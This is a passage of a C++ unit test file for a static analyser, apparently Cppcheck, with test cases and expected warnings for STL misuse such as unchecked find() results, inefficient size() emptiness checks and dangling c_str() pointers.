check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if (foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() >= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo + 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result 